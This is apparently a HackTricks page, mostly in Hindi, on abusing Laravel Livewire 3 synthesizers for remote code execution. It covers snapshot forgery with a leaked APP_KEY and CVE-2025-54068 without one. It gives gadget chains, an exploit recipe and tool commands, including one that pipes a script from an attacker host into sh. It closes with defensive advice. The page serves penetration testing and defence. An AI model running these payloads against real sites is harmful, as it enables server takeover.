Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Recap of the Livewire state machine

Livewire 3 components अपने state का आदान-प्रदान snapshots के माध्यम से करते हैं, जिनमें data, memo, और एक checksum शामिल होता है। /livewire/update पर हर POST सर्वर‑साइड पर JSON snapshot को रीहाइड्रेट करता है और कतारबद्ध calls/updates को निष्पादित करता है।

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

जो भी APP_KEY रखता है (जो $hashKey निकालने के लिए उपयोग होता है) इसलिए HMAC को पुनःगणना करके मनमाने स्नैपशॉट्स जालसाज़ी कर सकता है।

जटिल प्रॉपर्टीज़ सिंथेटिक टपल्स के रूप में एन्कोड की जाती हैं, जिन्हें Livewire\Drawer\BaseUtils::isSyntheticTuple() द्वारा पहचाना जाता है; प्रत्येक टपल [value, {"s":"<key>", ...meta}] होता है। हाइड्रेशन कोर प्रत्येक टपल को HandleComponents::$propertySynthesizers में चयनित synth को सौंप देता है और बच्चों पर पुनरावृत्ति करता है:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

यह पुनरावर्ती डिज़ाइन Livewire को एक सामान्य ऑब्जेक्ट-इंस्टेंसिएशन इंजन बना देता है जब तक कि attacker या तो tuple metadata या recursion के दौरान प्रोसेस किए गए किसी nested tuple को नियंत्रित कर ले।

गैजेट प्राइमिटिव देने वाले Synthesizers

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)प्रत्येक child को पुनः हाइड्रेट करने के बाद यह new $meta['class']($value) instantiate करता है। किसी भी class जिसकी constructor array लेती हो बनाई जा सकती है, और प्रत्येक आइटम खुद एक synthetic tuple हो सकता है।
FormObjectSynth (form)यह new $meta['class']($component, $path) कॉल करता है, फिर attacker-controlled बच्चों से हर public property को $hydrateChild के माध्यम से असाइन करता है। दो loosely typed parameters (या default args) लेने वाले constructors arbitrary public properties तक पहुँचने के लिए पर्याप्त होते हैं।
ModelSynth (mdl)जब meta में key मौजूद नहीं होता तो यह return new $class; execute करता है, जिससे attacker control वाले किसी भी class का zero-argument instantiation संभव हो जाता है।

क्योंकि synths हर nested element पर $hydrateChild को invoke करते हैं, arbitrary gadget graphs tuples को पुनरावर्ती रूप से stack करके बनाए जा सकते हैं।

जब APP_KEY ज्ञात हो तो snapshots का निर्माण

  1. एक वैध /livewire/update request कैप्चर करें और components[0].snapshot को decode करें।
  2. ऐसे nested tuples inject करें जो gadget classes की ओर इशारा करते हों और फिर checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY) को पुनः compute करें।
  3. snapshot को फिर से encode करें, _token/memo को बिना बदले रखें, और request को replay करें।

एक न्यूनतम proof of execution Guzzle’s FnStream और Flysystem’s ShardedPrefixPublicUrlGenerator का उपयोग करता है। एक tuple FnStream को constructor data { "__toString": "phpinfo" } के साथ instantiate करता है, अगला tuple ShardedPrefixPublicUrlGenerator को [FnStreamInstance] को $prefixes के रूप में instantiate करता है। जब Flysystem हर prefix को string में cast करता है, तो PHP attacker-provided __toString callable को invoke करता है, जिससे किसी भी function को बिना arguments के कॉल किया जा सकता है।

फ़ंक्शन कॉल से पूर्ण RCE तक

Livewire के instantiation primitives का लाभ उठाते हुए, Synacktiv ने phpggc की Laravel/RCE4 chain को अनुकूलित किया ताकि hydration उस ऑब्जेक्ट को बूट करे जिसका public Queueable state deserialization को ट्रिगर करे:

  1. Queueable trait – कोई भी object जो Illuminate\Bus\Queueable का उपयोग करता है वह public $chained expose करता है और dispatchNextJobInChain() में unserialize(array_shift($this->chained)) execute करता है।
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) को CollectionSynth / FormObjectSynth के माध्यम से instantiate किया जाता है जिसमें public $chained populated होता है।
  3. phpggc Laravel/RCE4Adapted$chained[0] में संग्रहीत serialized blob PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed बनाता है। Signed::__invoke() अंततः call_user_func_array($closure, $args) को कॉल करता है जिससे system($cmd) सक्षम होता है।
  4. Stealth termination – एक दूसरा FnStream callable जैसे [new Laravel\Prompts\Terminal(), 'exit'] देकर, request exit() के साथ समाप्त हो जाती है बजाय किसी noisy exception के, जिससे HTTP response साफ रहता है।

Snapshot forgery का ऑटोमेशन

synacktiv/laravel-crypto-killer अब एक livewire mode के साथ आता है जो सब कुछ stitch कर देता है:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

The tool parses the captured snapshot, injects the gadget tuples, recomputes the checksum, and prints a ready-to-send /livewire/update payload.

CVE-2025-54068 – RCE बिना APP_KEY

वेंडर एडवाइज़री के अनुसार, यह समस्या Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) को प्रभावित करती है और यह केवल v3 तक सीमित है।

updates को component state में बाद में मर्ज किया जाता है जब snapshot checksum वैलिडेट हो जाता है। यदि स्नैपशॉट के अंदर कोई property (या वह बन जाती है) एक synthetic tuple है, तो Livewire attacker-controlled update value को hydrate करते समय उसकी meta को पुनः उपयोग कर लेता है:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Find a Livewire component with an untyped public property (e.g., public $count;).
  2. Send an update that sets that property to []. The next snapshot now stores it as [[], {"s": "arr"}].

A minimal type-juggling flow looks like this:

POST /livewire/update
...
"updates": {"count": []}

Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:

"count": [[], {"s": "arr"}]
  1. Craft another updates payload where that property contains a deeply nested array embedding tuples such as [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. During recursion, hydrate() evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
  3. Reuse the same CollectionSynth/FormObjectSynth primitives to instantiate a Queueable gadget whose $chained[0] contains the phpggc payload. Livewire processes the forged updates, invokes dispatchNextJobInChain(), and reaches system(<cmd>) without knowing APP_KEY.

इसका काम करने के प्रमुख कारण:

  • updates snapshot checksum में शामिल नहीं होते।
  • getMetaForPath() उस synth metadata पर भरोसा करता है जो पहले से उस property के लिए मौजूद थी, भले ही attacker ने पहले इसे weak typing के माध्यम से tuple बना दिया हो।
  • Recursion और weak typing मिलकर प्रत्येक nested array को एक नया tuple माना जाने देते हैं, इसलिए arbitrary synth keys और arbitrary classes अंततः hydration तक पहुँचते हैं।

Livepyre – अंत-से-अंत शोषण

Livepyre automates both the APP_KEY-less CVE and the signed-snapshot path:

  • Fingerprints the deployed Livewire version by parsing <script src="/livewire/livewire.js?id=HASH"> and mapping the hash to vulnerable releases.
  • Collects baseline snapshots by replaying benign actions and extracting components[].snapshot.
  • Generates either an updates-only payload (CVE-2025-54068) or a forged snapshot (known APP_KEY) embedding the phpggc chain.
  • If no object-typed parameter is found in a snapshot, Livepyre falls back to brute-forcing candidate params to reach a coercible property.

सामान्य उपयोग:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check एक non-destructive probe चलाता है, -F version gating को स्किप करता है, -H और -P custom headers या proxies जोड़ते हैं, और --function/--param gadget chain द्वारा invoke किए गए php function को customise करते हैं।

रक्षा संबंधी विचार

  • Livewire के fixed बिल्ड्स (vendor bulletin के अनुसार >= 3.6.4) में अपग्रेड करें और CVE-2025-54068 के लिए vendor patch तैनात करें।
  • Livewire components में कमजोर-टाइप की public properties से बचें; explicit scalar types property मानों को arrays/tuples में coercion होने से रोकते हैं।
  • केवल उन्हीं synthesizers को रजिस्टर करें जिनकी आपको वाकई आवश्यकता है और user-controlled metadata ($meta['class']) को untrusted मानें।
  • ऐसे अपडेट्स को रिजेक्ट करें जो किसी property के JSON प्रकार को बदल देते हैं (उदाहरण: scalar -> array), जब तक स्पष्ट रूप से अनुमति न हो, और stale tuples को पुन: उपयोग करने के बजाय synth metadata को पुनः-उत्पन्न करें।
  • किसी भी disclosure के बाद तुरंत APP_KEY घुमाएँ क्योंकि यह ऑफलाइन snapshot forging सक्षम करता है चाहे code-base कितना भी patched क्यों न हो।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें